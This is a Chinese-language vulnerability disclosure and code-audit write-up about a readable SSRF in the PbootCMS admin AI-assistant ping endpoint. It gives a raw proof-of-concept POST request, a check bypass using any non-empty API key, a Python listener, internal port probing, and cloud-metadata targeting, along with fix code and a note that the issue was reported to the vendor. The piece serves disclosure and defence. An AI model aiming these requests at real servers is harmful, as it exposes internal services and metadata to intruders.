本文基于 PbootCMS V3.2.32 / V3.2.33 官方源码(两版本该文件逐字节相同),在本地环境完成复现。

已同步报送厂商与 CNVD,文章不涉及任何线上站点。

0. 先说结论

PbootCMS 后台 AI 助手的「测试连接」接口存在**可读型 SSRF**。

有意思的地方不在于"又一个 SSRF",而在于:

**同一个项目里,core/function/remote_fetch.php 已经把 SSRF 防护做得相当完整**——内网 IP 黑名单、CURLOPT_RESOLVE 固定解析结果防 DNS rebinding、禁止重定向跟随。

但 2026 年新增的 AI 模块,**完全没有复用这套现成的防护**。

这不是"开发者不懂安全",恰恰相反,是"安全能力没有传导到新代码"。这个现象在真实项目里极其普遍,值得单独拿出来说。


1. 起因:为什么去看 AI 模块

拿到一份 CMS 源码,常规审计路径是先看老代码。但老代码通常被打过很多遍,PbootCMS 这种被反复审计过的项目,前台 SQL 注入、文件包含这些经典面基本都被堵死了。

所以这次直接跳到**最近新增的代码**:

apps/admin/controller/content/AiController.php   1481 行,2026 年新增
apps/home/controller/LlmsController.php          2026-08-27 新增(llms.txt)

判断依据很简单:**新代码 = 没挨过打 = 防护意识最薄弱的地方**。

第一眼就看到了这个:

// apps/admin/controller/content/AiController.php L621
if (isset($_POST['ai_api_base'])) {
    $draft['base'] = ai_input_unescape(post('ai_api_base'));
}

ai_api_base 是一个 URL,直接取自 POST,后面必然要被服务端请求。

用户可控 URL + 服务端发起请求 = SSRF 的两要素,齐了。


2. 搭环境

审计 PHP 项目,静态看代码是一半,能跑起来验证是另一半。这套环境十分钟能搭好:

准备:

- PHP 8.4 NTS(Windows 直接下 zip 解压,无需安装)

- 扩展:pdo_sqlite、mbstring、fileinfo、curl、openssl、gd

php.ini 里放开这几个即可:

extension_dir = "ext"
extension=pdo_sqlite
extension=sqlite3
extension=mbstring
extension=curl
extension=openssl
extension=fileinfo
extension=gd

启动:

php -S 127.0.0.1:8080 -t PbootCMS-master

PbootCMS 默认走 SQLite,data/pbootcms.db 是现成的库,直接就能用,不用装 MySQL。

进后台:

这里有个小技巧。如果忘记后台密码,直接看库里的哈希:

import sqlite3
c = sqlite3.connect('data/pbootcms.db')
print(c.execute("SELECT username,password FROM ay_user").fetchall())

PbootCMS 的密码算法是 md5(md5($password)):

// apps/common/function.php
function encrypt_string($string)
{
    return md5(md5($string));
}

默认 admin / 123456 的哈希是 14e1b600b1fd579f47433b88e8d85291,可以直接对着改。

顺带说一句:后台登录默认要验证码 + formcheck。测试时把 admin_check_code 关掉、改个非默认密码就能进去(默认密码会强制跳转改密页)。这些只影响"怎么登录",不影响后面漏洞的成立——真实场景下攻击者用自己的合法账号登录即可。


3. 顺着代码往下追

3.1 入口

// AiController.php L44
public function ping()
{
    $this->guardConfigAccess();     // 只要「配置参数」权限
    $this->consumeRateLimit();

    $saved = $this->getProviderConfig();
    $draft = $this->readPingDraft();          // ← 读 POST 的 ai_api_base
    $cfg   = $this->mergeAiDraft($saved, $draft);
    ...
    $rs = $this->callAi(array(...), 256, null, $cfg);   // ← 发起请求
}

guardConfigAccess() 只检查一个菜单权限:

private function guardConfigAccess()
{
    if ($this->hasLevelPath('/admin/Config/index')) {
        return;
    }
    $this->jsonError('您的账号权限不足');
}

也就是说,只要有「配置参数」这个菜单权限(或超级管理员)就能调。

3.2 一个可疑的绕过条件

继续往下看,这里有段东西很扎眼:

// AiController.php L64-73
if ($draft['api_key'] === '') {
    $savedEndpoint = ai_provider_endpoint($saved['provider'], $saved['raw_base']);
    if (! ai_endpoint_same_host($savedEndpoint, $cfg['endpoint'])) {
        $this->pingFail('API URL 的主机或端口与已保存配置不同,请重新输入完整 API Key 后再测试', $cfg, false);
    }
}

逻辑翻译一下:

如果这次**没填** API Key(准备复用已保存的那个),那么提交的 URL 主机必须和已保存配置一致,否则不给测。

潜台词:**填了新的 API Key,就随便你填什么地址。**

开发者原本的意图是防止"用别人保存的 Key 去测任意地址",但写法上只堵了 api_key === '' 这一条路。

攻击者只要随便填一个非空的 key(sk-test123 就行,反正 ping 只是发个请求看通不通),这道校验直接失效。

3.3 URL 校验到底做了什么

再看最终校验函数:

// apps/common/function.php → ai_resolve_endpoint()
if ($scheme !== 'http' && $scheme !== 'https') {
    $fail['error'] = 'API URL 仅支持 HTTP/HTTPS 协议';
    return $fail;
}
if (! preg_match('/^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9._%\-\x80-\xff]+)$/', $parts['host'])) {
    $fail['error'] = 'API URL 主机名无效';
    return $fail;
}
if ($explicitPort) {
    $port = (int) $parts['port'];
    if ($port < 1 || $port > 65535) { ... }
}

三件事:**校验协议、校验主机名字符集、校验端口范围**。

做了吗?做了。

够吗?**完全不够。**

因为:

- 127.0.0.1 的主机名字符集完全合法

- 169.254.169.254 也合法

- 127.0.0.1.nip.io 这种指向内网的域名同样合法

- 没有任何 IP 段判断,没有 DNS 解析后的二次校验

对比一下同项目里另一处:

// core/function/remote_fetch.php L45
function remote_fetch_is_blocked_ip($ip)
{
    if (! is_string($ip) || $ip === '' || ! filter_var($ip, FILTER_VALIDATE_IP)) {
        return true;
    }
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
        if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            return true;
        }
        $long = ip2long($ip);
        // 127.0.0.0/8
        if (($long & 0xFF000000) === 0x7F000000) return true;
        // 169.254.0.0/16(含云元数据)
        if (($long & 0xFFFF0000) === 0xA9FE0000) return true;
        // 100.64.0.0/10 CGNAT
        if (($long & 0xFFC00000) === 0x64400000) return true;
        return false;
    }
    // IPv6: ::1、fe80::/10、fc00::/7、::ffff: 映射地址
    ...
}

以及请求层:

curl_setopt($ch, CURLOPT_RESOLVE, array($resolveHost . ':' . (int) $port . ':' . $pinnedIp));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, 0);

这是教科书级的 SSRF 防护:解析全部 A/AAAA → 逐个校验 → 用 CURLOPT_RESOLVE 把域名钉死在已校验的 IP 上(防 DNS rebinding)→ 禁止重定向(防 302 绕过)。

而 AI 模块:

// AiController.php L1369
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);        // 直接就是用户给的 URL
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_POST, true);
...
$output = curl_exec($ch);

没有 IP 校验,没有 RESOLVE 固定,没有显式禁止重定向。

同一个代码库里,一边是满分防护,一边是裸奔。这就是本文标题里说的「防护复用遗漏」。


4. 复现

4.1 第一步:确认请求真的从服务端发出

把 ai_api_base 指向本机一个没有服务的端口:

POST /admin.php?p=/Ai/ping HTTP/1.1
Host: target.com
Cookie: <管理员会话>
Content-Type: application/x-www-form-urlencoded

ai_provider=deepseek&ai_model=deepseek-chat&ai_api_key=sk-test123&ai_api_base=http://127.0.0.1:9999/v1/chat/completions

返回:

{
  "code": 0,
  "msg": "网络请求失败(7):Failed to connect to 127.0.0.1:9999 after 1 ms: Could not connect to server",
  "data": {
    "provider": "deepseek",
    "model": "deepseek-chat",
    "endpoint": "http://127.0.0.1:9999/v1/chat/completions",
    "requested": true
  }
}

requested: true 加"连接 127.0.0.1 失败"——请求是服务器发的,不是浏览器发的。

4.2 第二步:确认请求到达攻击者控制的服务

起个监听:

import http.server, socketserver, datetime

class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(n)
        print(f"{datetime.datetime.now()} {self.command} {self.path}")
        print(f"HEADERS: {dict(self.headers)}")
        print(f"BODY: {body.decode('utf-8', 'ignore')}")
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{"ok":true}')
    def log_message(self, *a): pass

socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 7777), H) as s:
    s.serve_forever()

把 ai_api_base 指过去,监听端收到:

POST /ssrf-test/chat/completions HTTP/1.1
Host: 127.0.0.1:7777
User-Agent: PbootCMS-AI/1.0
Content-Type: application/json
Authorization: Bearer sk-test123
Content-Length: 154

{"model":"deepseek-chat","messages":[{"role":"user","content":"你好,请回复连接成功。"}],"max_tokens":256,"stream":false,"temperature":0.7}

三个关键点:

- User-Agent: PbootCMS-AI/1.0 —— 程序内置标识,铁证

- Authorization: Bearer sk-test123 —— 攻击者完全控制请求头

- 路径 /ssrf-test/chat/completions —— PbootCMS 会自动在 base 后拼 /chat/completions,路径可控

4.3 第三步:读内网响应内容

这一步才是重点。很多 SSRF 只能盲打,这个能读。

让监听端返回一个 OpenAI 格式的响应(模拟内网 AI 网关 / 模型服务 / API 网关):

{
  "id": "chatcmpl-x",
  "object": "chat.completion",
  "model": "deepseek-chat",
  "choices": [{"index": 0, "message": {"role": "assistant", "content": "INTERNAL-SERVICE-DATA-LEAKED-8f3a2b"}, "finish_reason": "stop"}],
  "usage": {"prompt_tokens": 1, "completion_tokens": 1, "total_tokens": 2}
}

再发一次请求,ai_api_base=http://127.0.0.1:7778,返回:

{
  "code": 1,
  "msg": "ok",
  "data": {
    "provider": "deepseek",
    "model": "deepseek-chat",
    "endpoint": "http://127.0.0.1:7778/chat/completions",
    "requested": true,
    "reply": "INTERNAL-SERVICE-DATA-LEAKED-8f3a2b"
  }
}

reply 字段就是内网服务吐出来的内容。

这就是可读型 SSRF,不是只能判断端口的盲 SSRF。

4.4 附带能力:内网端口探测

改端口,看错误码差异:

| 目标 | 返回 |

|---|---|

| 127.0.0.1:22 | 网络请求失败(7):Failed to connect to 127.0.0.1:22 |

| 127.0.0.1:3306 | 网络请求失败(1):Received HTTP/0.9 when not allowed ← 端口开放但不是 HTTP |

| 127.0.0.1:6379 | 网络请求失败(7):Failed to connect |

errno 7(连不上)和 errno 1(收到非 HTTP 协议响应)的差异,足以把内网端口状态摸清楚。


5. 危害评估

| 场景 | 说明 |

|---|---|

| 内网资产测绘 | 遍历内网 IP/端口,靠错误码区分开放/关闭/非 HTTP 服务 |

| 请求伪造 | 可以向任意内网 HTTP 服务发 POST,**包括自定义 Authorization 头** |

| 数据读取 | 内网若存在 AI 网关、模型服务、内部 API,其响应会被回显 |

| 云元数据 | 169.254.169.254 未被拦截,云主机上可尝试读取实例元数据 |

| 边界穿透 | 服务器能进内网,攻击者从外网借道 |

为什么定中危而不是高危:需要后台「配置参数」权限。

但它能升级:

- 弱口令进后台 → 直接可用

- 后台 CSRF → 可打管理员

- 后台其他越权 → 从低权限管理员跳到内网平面

ping 接口本身没有显式设 CURLOPT_FOLLOWLOCATION,PHP 下 curl 默认不跟随,算个运气。但只要开发者后面加了 FOLLOWLOCATION => true(很多人会加,为了处理 API 跳转),立刻多一条 302 绕过。


6. 修复建议

**推荐方案:直接复用 remote_fetch.php 那套**

// 在 httpPostJson() 发起请求前
$ips = remote_fetch_resolve_host_ips($host);
if ($ips === false) {
    return $this->errResult('目标地址不被允许');
}
// 解析出的 IP 里任一是内网/保留地址,直接拒绝
// 然后用 CURLOPT_RESOLVE 把域名钉死
curl_setopt($ch, CURLOPT_RESOLVE, array("$host:$port:{$ips[0]}"));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_MAXREDIRS, 0);

**顺带修掉那个绕过条件:**

// 改成:无论填不填 api_key,都校验目标主机
if (! ai_endpoint_same_host($savedEndpoint, $cfg['endpoint'])) {
    $this->pingFail('API URL 必须是已保存配置中的地址');
}

或者更彻底——ping 接口干脆不接受任意 ai_api_base,只接受"服务商"枚举,地址从白名单里取。

**其他建议:**

1. 用 CURLOPT_WRITEFUNCTION 限制响应读取上限,避免大响应打爆内存

2. 错误信息脱敏,不要把 127.0.0.1:9999 这种内网地址直接回显


7. 一点延伸:为什么"新增功能"总是重灾区

这次能挖到东西,很大程度上不是因为技术多强,而是**选对了地方**。

回头看这个漏洞的成因:

- 老代码(remote_fetch.php)有完整防护 → 说明团队做过安全建设

- 新功能(AI 模块)零防护 → 说明这套建设**没有形成约束**

真实项目里反复出现的模式:

| 表象 | 实际原因 |

|---|---|

| 老模块安全、新模块裸奔 | 安全规范靠"记得",不靠强制 |

| 同一类漏洞修过又出现 | 修复时只修了"点",没沉淀成"工具函数" |

| 代码 Review 没发现问题 | Review 看业务逻辑,不看"这个 URL 来自哪儿" |

remote_fetch.php 里那套函数,其实就是现成的答案放在那儿,只是没人告诉写 AI 模块的同学"你要用这个"。

所以对防守方,真正的建议不是"这次小心点",而是:

把 SSRF 防护做成一个公共函数,所有外发请求强制走这个函数。 靠人记,必然漏。

对挖洞的人,这条思路同样适用:

先看最近半年新增的功能、新增的接口、新增的第三方对接。 那里防护密度最低。


附:时间线

- 2026-11-10:本地复现完成

- 报告与 PoC 已报送厂商、CNVD

(本文不提供任何可直接打线上站点的利用脚本,复现均在本地环境完成。)